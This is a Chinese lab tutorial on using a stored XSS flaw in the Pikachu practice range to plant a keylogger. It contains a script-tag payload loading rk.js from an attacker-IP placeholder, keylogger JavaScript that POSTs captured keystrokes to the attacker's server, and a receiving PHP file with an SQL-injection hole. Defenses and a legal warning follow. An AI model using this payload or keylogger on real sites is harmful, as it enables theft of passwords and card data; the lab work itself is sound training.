Pikachu靶场利用XSS漏洞获取键盘记录
Pikachu靶场利用XSS漏洞获取键盘记录
1. 实验环境
- 攻击方:部署在云服务器上的Pikachu靶场(记为A主机)
- 被攻击方:部署在虚拟机上的Pikachu靶场(记为B主机)
- 浏览器:建议使用IE浏览器(部分现代浏览器可能会过滤XSS)


2. 攻击原理
- 漏洞利用:攻击者在被攻击方的Pikachu靶场中找到存储型XSS漏洞
- 脚本注入:构造包含恶意脚本的payload并提交
- 脚本执行:被攻击方服务器将恶意脚本存储到数据库
- 键盘记录:当其他用户访问包含恶意脚本的页面时,脚本会执行并记录用户的键盘输入
- 数据传输:记录的键盘数据被发送到攻击方的服务器
- 数据存储:攻击方服务器将键盘记录存储到数据库中
3. 攻击准备
3.1 配置攻击方脚本
- 找到rk.js脚本:在攻击方Pikachu靶场的
pikachu-master/pkxss/rkeypress目录下 - 修改脚本地址:将脚本中的服务器地址修改为攻击方服务器的地址
- 查看rkserver.php:确保服务器端脚本正确配置
rkserver.php脚本分析:
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
// 包含配置和MySQL连接文件
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
// 建立数据库连接
$link = connect();
// 设置允许跨域请求的头信息
header("Access-Control-Allow-Origin:*");
// 从POST请求中获取数据
$data = $_POST['datax'];
// 构建插入数据到'keypress'表的SQL查询
$query = "insert keypress(data) values('$data')";
// 执行SQL查询
$result = mysqli_query($link, $query);
?>3.2 构造Payload
<script src="http://攻击方IP/pikachu-master/pkxss/rkeypress/rk.js"></script>将 攻击方IP 替换为实际的攻击方服务器IP地址。
4. 攻击步骤
- 找到XSS漏洞:在被攻击方的Pikachu靶场中找到存储型XSS漏洞(通常在留言板或评论功能中)
- 提交Payload:在输入框中输入构造好的Payload并提交
- 诱导访问:诱导其他用户访问包含恶意脚本的页面
- 记录键盘输入:当用户在页面上进行键盘输入时,输入内容会被记录
- 查看记录:在攻击方Pikachu靶场的键盘记录页面查看获取到的键盘输入
4.1 详细操作
- 访问被攻击方靶场:打开浏览器,访问被攻击方的Pikachu靶场
- 找到存储型XSS:导航到存储型XSS测试页面
- 输入Payload:在输入框中粘贴构造好的Payload
- 提交数据:点击提交按钮,将恶意脚本提交到服务器
- 访问页面:再次访问该页面,此时恶意脚本会自动执行
- 测试键盘输入:在页面上输入一些内容,如"hello"
- 查看记录:在攻击方靶场的键盘记录页面查看捕获到的输入



5. 键盘记录脚本分析
5.1 rk.js脚本工作原理
// 简化后的rk.js脚本逻辑
// 1. 创建一个数组存储键盘输入
var keys = [];
// 2. 监听键盘按下事件
document.addEventListener('keydown', function(e) {
// 记录按键信息
keys.push({
key: e.key,
time: new Date().getTime()
});
// 当记录的按键达到一定数量时发送数据
if (keys.length > 10) {
sendKeys();
}
});
// 3. 发送键盘记录到服务器
function sendKeys() {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://攻击方IP/pikachu-master/pkxss/rkeypress/rkserver.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('datax=' + encodeURIComponent(JSON.stringify(keys)));
// 清空记录
keys = [];
}
// 4. 定期发送记录
setInterval(sendKeys, 5000);6. 防御措施
6.1 服务器端防御
- 输入验证:对所有用户输入进行严格验证,过滤或转义特殊字符
- 输出转义:对所有输出到页面的内容进行适当的转义
- 使用CSP:设置内容安全策略(CSP),限制脚本的来源
- HttpOnly Cookie:设置Cookie的HttpOnly属性,防止JavaScript访问Cookie
- 使用现代框架:使用现代前端框架,它们通常会自动处理XSS防护
6.2 客户端防御
- 保持浏览器更新:使用最新版本的浏览器,它们通常包含安全补丁
- 使用安全插件:安装广告拦截器和XSS过滤器等安全插件
- 谨慎访问链接:不要点击来源不明的链接
- 使用HTTPS:只在使用HTTPS的网站上输入敏感信息
- 定期清除Cookie:定期清除浏览器Cookie,减少被攻击的风险
7. 法律风险
请注意,未经授权使用XSS技术获取他人键盘记录是违法的,可能会导致严重的法律后果。本教程仅用于安全教育目的,请勿用于非法活动。
8. 实验总结
通过本实验,我们学习了如何利用存储型XSS漏洞获取用户的键盘记录。这展示了XSS漏洞的严重性,它不仅可以用来窃取Cookie,还可以用来记录用户的键盘输入,包括密码、信用卡信息等敏感数据。
网站管理员应该采取有效的防御措施来防止XSS漏洞,用户也应该提高安全意识,避免成为XSS攻击的受害者。
9. 扩展思考
- 如何检测XSS漏洞:使用自动化工具或手动测试来检测网站中的XSS漏洞
- 如何修复XSS漏洞:学习如何正确地对输入和输出进行处理
- 如何提高网站安全性:了解其他常见的Web安全漏洞和防御措施
- 如何应对XSS攻击:当发现网站被XSS攻击时,应该采取哪些应急措施